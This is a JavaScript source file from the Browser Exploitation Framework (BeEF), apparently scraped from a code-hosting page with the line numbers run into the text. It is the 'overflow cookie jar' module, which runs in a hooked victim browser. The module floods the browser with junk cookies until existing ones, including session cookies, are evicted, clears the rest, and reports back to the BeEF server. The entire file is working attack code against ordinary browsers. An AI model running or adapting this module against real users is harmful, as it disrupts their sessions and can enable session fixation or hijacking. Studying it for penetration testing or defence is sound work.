Path: blob/master/modules/browser/hooked_origin/overflow_cookiejar/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var preserveCookies = '<%= @preserveCookies %>'89var initialtimestamp;10var currenttimestamp;11var i = 0;12var preservedCookies;1314function setCookie(cname,cvalue){15document.cookie = cname + "=" + cvalue;16}1718function getCookie(cname){19var name = cname + "=";20var ca = document.cookie.split(';');2122for(var i=0; i<ca.length; i++){23var c = ca[i].trim();24if (c.indexOf(name)==0) return c.substring(name.length,c.length);25}26return "";27}2829function deleteAllCookies(){30var cookies = document.cookie.split(";");3132if (cookies.length > 0){33var cookie = cookies[0];34var eqPos = cookie.indexOf("=");35var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;3637document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT";38if (cookies.length > 1){39//Timeout needed because otherwise cookie write loop freezes render thread40setTimeout(deleteAllCookies,1);41}42else{43if (preserveCookies){44var pc = preservedCookies.split(';');4546for(var i=0; i<pc.length; i++){47var c = pc[i].trim();48document.cookie = c;49}50}51beef.net.send("<%= @command_url %>", <%= @command_id %>, 'Attempt to overflow the Cookie Jar completed');52}53}54}5556function overflowCookie() {57if(getCookie(initialtimestamp) === "BeEF") {58currenttimestamp = Date.now();59setCookie(currenttimestamp,"BeEF");60//Timeout needed because otherwise cookie write loop freezes render thread61setTimeout(overflowCookie, 1);62}63else{64deleteAllCookies();65}66}6768function overflowCookieJar(){69preservedCookies = document.cookie;70initialtimestamp = Date.now();71setCookie(initialtimestamp,"BeEF");72overflowCookie();73}7475overflowCookieJar();7677});78798081